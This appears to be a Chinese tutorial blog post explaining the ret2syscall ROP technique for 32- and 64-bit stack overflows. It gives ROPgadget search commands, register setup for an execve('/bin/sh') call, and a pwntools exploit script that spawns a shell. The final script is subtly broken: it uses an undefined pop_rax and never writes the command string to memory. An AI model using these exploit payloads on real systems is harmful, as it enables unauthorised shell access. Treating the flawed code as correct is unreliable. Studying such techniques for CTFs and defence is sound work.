RET2syscall

文章详细介绍了如何在X32和X64架构中,通过RopGadgets工具找到寄存器地址,构造payload来实现对/bin/sh的execve系统调用,以获取shell,包括32位和64位的区别和具体操作步骤。

原理

  • 基本rop之一,意为call system,控制程序执行系统调用,获取shell。

X32

我们的目的是要把对应获取 shell 的系统调用的参数放到对应的寄存器中。即:

execve("/bin/sh",NULL,NULL)

向寄存器存放的参数分别为:

  • 系统调用号,即 eax 应该为 0xb “此为execve对应的系统调用号”

  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。

  • 第二个参数,即 ecx 应该为 0

  • 第三个参数,即 edx 应该为 0

  • int 0x80(触发中断)

    而想要完成参数存入就需要构造rop链,这是就需要这些寄存器的地址了,所以自然而然我们就想到了一个工具:ROP gadgets

    1. eax:

      ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
    2. others:

      ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'

      一般我们可以直接找出ebx,ecx,edx三个寄存器连在一起的地址,这样便于我们直接修改。

      3.bin_sh:

    ROPgadget --binary rop --string '/bin/sh'

    这里我们也可以直接·在ida中shift+12直接找出

    4.int 0x80:

    ROPgadget --binary rop --only 'int'

    之后我们写上payload输出交互就可以了

    payload=b'a'*0ffest+p32(pop_eax_ret)+p32(0x0b)+p32( pop_edx_ecx_ebx_ret)+p32(0x0)+p32(0x0)+p32(bin_sh)+p32(int_0x80)
    #offest为s到ebp的偏移量+4  需要使用gbd调试

    EXP:

可以看到 esp 为 0xffffcd40,ebp 为具体的 payload 如下 0xffffcdc8,同时 s 相对于 esp 的索引为 [esp+0x1c],所以,s 的地址为 0xffffcd5c,所以 s 相对于 ebp 的偏移为 0x6C,所以相对于返回地址的偏移为 0x6c+4。

当然,我们也可以通过bp-64h直接看出偏移量,但是这里32位编译器编译出来的位移量是有误的,所以最好还是用gbd运行一下看看

X64

与32位类似,但是传参的寄存器是rdi->rsi->rdx->rcx->r8->r9,即把需要的系统调用号给rax(64位),把rdx,rsi置零(因为是pop释放参数,所以与传参顺序相反)。且ret返回的函数名不同

  • 32位为int 0x80,64位为syscall ret

64位binary下的shell:

  1. rax:59

  2. rdi:bin_sh_addr

  3. rsi:0

  4. rdx:0

  5. rcx:0

  6. syscall

    和32位一样,我们先用ROP找出其中对应的寄存器的地址

  1. rax:

    ROPgadget --binary demo --only 'pop|ret' | grep 'rax'
  2. rsi:

    ROPgadget --binary demo --only 'pop|ret' | grep 'rsi'
  3. bin_sh:

    ROPgadget --binary demo --string '/bin/sh'
  4. syscall:

    ROPgadget --binary demo | grep 'syscall'
  5. rdi:

    ROPgadget --binary demo --only 'pop|ret' | grep 'rdi'

之后写出payload即可

payload=b'a'*offest+rdi_addr+bin_sh+eax_rdx_ebx_addr+p64(0x3b)+p64(0x0)+p64(0X0)+rsi_addr+p64(0x0)+syscall_addr#这里的eax其实就是rax

ret2syscall是一种ROP(Return Oriented Programming)技术,用于在64程序栈溢出利用中执行系统调用。其核心思路是通过构造栈上的数据,控制程序的执行流程,将寄存器设置为系统调用所需的参数,然后触发系统调用以执行特定操作,如执行shell等。 在64系统中,常见的系统调用需要设置的寄存器及其作用如下: - `rax`:存储系统调用号。 - `rdi`:第一个参数。 - `rsi`:第二个参数。 - `rdx`:第三个参数。 为了实现ret2syscall,需要找到合适的gadget(小的代码片段)来控制寄存器的值。可以使用工具如`ROPgadget`来查找这些gadget。例如,为了设置`rdi`、`rsi`和`rdx`寄存器,可以使用以下命令来查找相应的`pop`指令gadget: ```bash ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rdi ; ret" ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rsi ; ret" ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rdx ; ret" ``` 以下是一个简单的伪代码示例,展示了如何构造一个ret2syscall的payload: ```python from pwn import * # 加载目标二进制文件 elf = ELF('ret2sys_64') # 查找gadget pop_rdi = 0xdeadbeef # 替换为实际的pop rdi; ret地址 pop_rsi = 0xcafebabe # 替换为实际的pop rsi; ret地址 pop_rdx = 0x13371337 # 替换为实际的pop rdx; ret地址 syscall = 0xfeedfeed # 替换为实际的syscall地址 # 系统调用号(例如,execve为59) syscall_num = 59 # 要执行的命令(例如,/bin/sh) cmd = "/bin/sh\x00" cmd_addr = elf.bss() + 0x100 # 在bss段找一个地址存放命令 # 构造payload payload = b'A' * offset # offset为溢出所需的填充字节数 payload += p64(pop_rdi) payload += p64(cmd_addr) payload += p64(pop_rsi) payload += p64(0) payload += p64(pop_rdx) payload += p64(0) payload += p64(pop_rax) payload += p64(syscall_num) payload += p64(syscall) # 发送payload p = process('ret2sys_64') p.sendline(payload) p.interactive() ``` 在实际应用中,需要根据具体的二进制文件和环境进行调整。同时,还需要注意ASLR(地址空间布局随机化)等防护机制的影响。
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值